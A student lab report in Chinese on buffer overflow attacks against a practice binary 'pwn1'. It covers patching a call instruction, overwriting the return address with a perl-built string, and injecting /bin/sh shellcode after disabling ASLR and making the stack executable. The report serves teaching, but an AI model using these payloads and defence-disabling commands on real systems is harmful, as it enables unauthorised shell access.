20222406 2024-2025-1 《網路與系統攻防技術》實驗一實驗報告
1.實驗內容
本週深入學習了緩衝區溢位相關內容,收穫頗豐。
一、理論知識學習
- 學習了緩衝區溢位的基本知識,包括組合語言,瞭解了常見的指令如
mov
(資料傳送)、push
(壓棧)、pop
(出棧)、call
(呼叫函式)等的基本功能。同時,對 Windows 和 Linux 系統下的程序記憶體管理機制有了更深入的理解,包括使用者態和核心態的區別等。 - 認識了棧和堆的概念。棧是一種具有後進先出特性的資料結構,用於儲存函式呼叫的上下文資訊等;堆則用於動態分配記憶體。
- 複習和加深了對計算機中緩衝區等知識的印象,明白了緩衝區溢位發生的原理,即當向緩衝區寫入的資料超過其容量時,可能會覆蓋相鄰的記憶體區域,從而導致程式出現異常行為甚至被攻擊者利用。
二、實踐操作收穫
- 對實驗物件“pwn1”可執行檔案進行了手工修改,透過改變程式執行流程,成功實現直接跳轉到
getShell
函式,深入理解了程式的執行邏輯和控制流。 - 利用
foo
函式的緩衝區溢位漏洞(Bof),構造攻擊輸入字串,覆蓋返回地址,成功觸發了getShell
函式,親身體驗了緩衝區溢位攻擊的過程。 - 嘗試注入自己製作的 shellcode 並執行,進一步掌握了緩衝區溢位攻擊的高階技術。
- 學會了在 Linux 環境下使用基本操作指令,如
cd
(切換目錄)、ls
(列出目錄內容)、chmod
(修改檔案許可權)、cat
(檢視檔案內容)等。 - 掌握了編譯器和偵錯程式的知識,能夠在 Linux 下利用
gdb
進行程式除錯,包括設定斷點、檢視暫存器狀態、跟蹤程式執行流程等。 - 瞭解了反彙編的概念,並能夠動手實現簡單的十六進位制編輯,透過反彙編分析程式的結構和功能,為理解和防範緩衝區溢位攻擊提供了有力工具。
透過本週的學習和實踐,不僅對緩衝區溢位攻擊有了更全面的認識,也提高了自己的電腦保安意識和實踐能力。
2.實驗過程
2.1 直接修改程式機器指令,改變程式執行流程
2.1.1 下載目標檔案pwn1
,反彙編
點選檢視2.1.1全部輸入程式碼
cd /home/kali/Desktop/
ls
objdump -d pwn20222406 | more
首先,將學習通資料中的pwn1
解壓後拖入虛擬機器中即可完成下載,
此處透過重新命名即可修改檔名稱,下圖所示檔名稱為pwn20222406
。
隨後先透過cd /home/kali/Desktop/
進入桌面,
再輸入ls
檢視檔案是否存在,
最後輸入命令objdump -d pwn20222406 | more
檢視程式碼:
透過觀察,下圖中白色高光區域的彙編指令call 8048491
是說這條指令將呼叫位於地址8048491
處的foo
函式,
其對應機器指令為“e8 d7ffffff”,e8
即跳轉之意:
2.1.2 修改可執行檔案
點選檢視2.1.2全部輸入程式碼
vi pwn20222406
:%!xxd
/d7ff
i
:%!xxd -r
:wq
輸入命令vi pwn20222406
:
即可出現如下內容:
隨後,先按ESC鍵,再輸入:%!xxd
,將顯示模式切換為16進位制模式:
輸入命令/d7ff
查詢要修改的內容:
再輸入i
進入插入模式,修改d7為c3:
按下ESC鍵退出插入模式,輸入命令:%!xxd -r
即可轉換16進製為原格式:
再輸入:wq
儲存並退出vi。
2.1.3 再反彙編檢視call指令是否正確呼叫getShell
點選檢視2.1.3全部輸入程式碼
objdump -d pwn20222406 | more
./pwn20222406
還是輸入命令objdump -d pwn20222406 | more
即可發現call指令發生了變化:
這時輸入命令./pwn20222406
執行程式碼可以發現可以得到shell提示符:
2.2 透過構造輸入引數,造成BOF攻擊,改變程式執行流
2.2.1 反彙編,瞭解程式的基本功能
點選檢視2.2.1全部輸入程式碼
objdump -d pwn20222406 | more
首先,使用未被修改過的pwn檔案,輸入命令objdump -d pwn20222406 | more
,
目標是觸發函式getShell
:
該可執行檔案正常執行是呼叫如下函式foo
,這個函式有Buffer overflow
漏洞,
這裡讀入字串,但系統只預留了56
位元組的緩衝區,超出部分會造成溢位,我們的目標是覆蓋返回地址:
下面的call呼叫foo,同時在堆疊上壓上返回地址值:80484ba
:
2.2.2 確認輸入字串哪幾個字元會覆蓋到返回地址
點選檢視2.2.2全部輸入程式碼
gdb pwn20222406
1111111122222222333333334444444412345678
info r
首先輸入命令gdb pwn20222406
:
隨後輸入命令r
:
隨後輸入字串1111111122222222333333334444444412345678
,再輸入命令info r
,
那1234
那四個數最終會覆蓋到堆疊上的返回地址,進而CPU會嘗試執行這個位置的程式碼,
那隻要把這四個字元替換為getShell
的記憶體地址,輸給pwn,pwn就會執行getShell
:
2.2.3 確認用什麼值來覆蓋返回地址
點選檢視2.2.3全部輸入程式碼
break *0x804849d
info break
r
info r
getShell
的記憶體地址,透過反彙編時可以看到,即0804847d
,
接下來要確認下位元組序,簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d
,
還是輸入11111111222222223333333344444444\x7d\x84\x04\x08
,
相繼輸入命令break *0x804849d
:
命令info break
:
命令r
:
命令info r
:
對比之前eip 0x34333231 0x34333231
,正確應用輸入11111111222222223333333344444444\x7d\x84\x04\x08
2.2.4 構造輸入字串
點選檢視2.2.4全部輸入程式碼
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input
(cat input; cat) | ./pwn20222406
ls
exit
ls
(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn20222406
ls
exit
ls
由為我們沒法透過鍵盤輸入\x7d\x84\x04\x08
這樣的16進位制值,所以先生成包括這樣字串的一個檔案,
\x0a
表示回車,如果沒有的話,在程式執行時就需要手工按一下Enter鍵,
輸入命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
:
可以使用16進位制檢視指令xxd檢視input檔案的內容是否如預期,
輸入命令xxd input
:
然後將input的輸入,透過管道符“|”,作為pwn的輸入,
輸入命令(cat input; cat) | ./pwn20222406
,在其中輸入ls
:
隨後輸入命令(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn20222406
,在其中輸入ls
:
2.3 注入Shellcode並執行
2.3.1 準備一段Shellcode
shellcode就是一段機器指令(code),
通常這段機器指令的目的是為獲取一個互動式的shell(像linux的shell或類似windows下的cmd.exe),
所以這段機器指令被稱為shellcode。
在實際的應用中,凡是用來注入的機器指令段都通稱為shellcode,像新增一個使用者、執行一條指令。
以下實踐即使用shellcode\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
。
2.3.2 準備工作
點選檢視2.3.2全部輸入程式碼
execstack -s pwn20222406
execstack -q pwn20222406
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
設定堆疊可執行,輸入命令execstack -s pwn20222406
,
隨後輸入execstack -q pwn20222406
,
輸入more /proc/sys/kernel/randomize_va_space
,
關閉地址隨機化,輸入echo "0" > /proc/sys/kernel/randomize_va_space
,
輸入more /proc/sys/kernel/randomize_va_space
:
2.3.3 構造要注入的payload
點選檢視2.3.3全部輸入程式碼
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn20222406
ps -ef | grep pwn20222406
gdb
attach 13017
disassemble foo
break *0x080484ae
c
info r esp
x/16x 0xffffd31c
x/16x 0xffffd300
x/16x 0xffffd2fc
c
quit
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
xxd input_shellcode
(cat input_shellcode;cat) | ./pwn20222406
ls
Linux下有兩種基本構造攻擊buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
因為retaddr在緩衝區的位置是固定的,shellcode只能在它前後。
該buf足夠放這個shellcode,結構為:nops+shellcode+retaddr。
nop一為是了填充,二是作為“著陸區/滑行區”。
輸入命令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
:
上面最後的\x4\x3\x2\x1將覆蓋到堆疊上的返回地址的位置,需要將其改為這段shellcode的地址,
特別提醒:最後一個字元不能是\x0a。
接下來我們來確定\x4\x3\x2\x1到底該填什麼,
輸入(cat input_shellcode;cat) | ./pwn20222406
:
開啟另一個終端,輸入ps -ef | grep pwn20222406
:
找到pwn的程序號是:13017
輸入gdb
後輸入attach 13017
除錯這個程序:
輸入disassemble foo
透過設定斷點,來檢視注入buf的記憶體地址:
斷在高光區域,這時注入的東西都大堆疊上了,ret結束,就跳到所覆蓋的retaddr處。
輸入break *0x080484ae
:
在另外一個終端中按下回車,這就是前面為什麼不能以\x0a來結束 input_shellcode的原因。
輸入c
:
輸入info r esp
:
相繼輸入x/16x 0xffffd31c
、x/16x 0xffffd300
、x/16x 0xffffd2fc
:
輸入c
:
這個返回地址佔位也是對的,
輸入quit
退出,
輸入perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
,
再輸入xxd input_shellcode
:
輸入(cat input_shellcode;cat) | ./pwn20222406
和ls
:
3.問題及解決方案
- 問題1:在2.2.2處直接輸入命令無法正常進行,顯示資訊為:
而在輸入安裝命令後還是無法正常安裝:
- 問題1解決方案:輸入命令
sudo apt-get update
進行更新後再重新輸入命令sudo apt install gdb
:
待進度條到達100%時再輸入命令sudo apt install gdb-minimal
即可繼續進行實驗。 - 問題2:在2.3.2處直接輸入命令無法正常進行,顯示資訊為:
- 問題2解決方案:輸入命令
sudo apt-get install prelink
,此時會顯示:
有兩種解決方法:
- 分別輸入命令
sudo apt-get update
和sudo apt-get upgrade
安裝execstack,但部分主機無法實現 - 從該網頁下載檔案
http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
,需要複製到瀏覽器下載,否則顯示不安全
下載完成後,將檔案拖拽至虛擬機器,輸入命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
即可解壓:
4.學習感悟、思考等
一、技術層面的收穫
- 組合語言與記憶體管理:學習了組合語言中的常見指令,如
mov
、push
、pop
、call
等。 - 棧與堆的概念:明確了棧和堆在計算機記憶體中的不同作用。棧作為具有後進先出特性的資料結構,用於儲存函式呼叫的上下文資訊,其嚴格的進出規則保證了程式執行的有序性。而堆則用於動態分配記憶體,為程式的靈活性提供了支援。
- 緩衝區溢位原理與實踐:透過手工修改可執行檔案、構造攻擊輸入字串以及注入 shellcode 等實踐操作,親身體驗了緩衝區溢位攻擊的過程。明白了當向緩衝區寫入的資料超過其容量時,可能會覆蓋相鄰的記憶體區域,從而導致程式出現異常行為甚至被攻擊者利用。
- 工具的掌握:熟練掌握了在 Linux 環境下的基本操作指令,如
cd
、ls
、chmod
、cat
等。
二、安全意識的提升
- 漏洞的危險性:緩衝區溢位漏洞是一種常見但極具危險性的安全漏洞。透過實驗,我深刻認識到即使是一個看似簡單的程式,也可能存在被攻擊者利用的漏洞。這提醒我在編寫程式時,要始終保持警惕,嚴格檢查輸入資料的長度和合法性,避免緩衝區溢位等安全問題的發生。
- 安全防護的重要性:在實驗過程中,遇到了一些問題,如安裝除錯工具時出現的困難。這讓我意識到,在實際的系統安全防護中,不僅要關注軟體的功能實現,還要確保所使用的工具和環境的安全性。
- 持續學習的必要性:網路與系統攻防技術不斷髮展,新的漏洞和攻擊手段層出不窮。透過這次實驗,我認識到自己在電腦保安領域還有很多知識需要學習。只有不斷更新自己的知識體系,關注最新的安全動態,才能更好地應對日益複雜的安全挑戰。
總之,透過本次實驗,我在技術能力和安全意識方面都有了很大的提升。我將繼續努力學習,不斷探索網路與系統攻防技術的奧秘,為保障網路空間安全貢獻自己的一份力量。
參考資料
- 《0x11_MAL_逆向與Bof基礎.md》
- 《Linux中“沒有可用的軟體包XX,但是它被其他軟體包引用”的解決方法》
- 《關於找不到execstack的問題》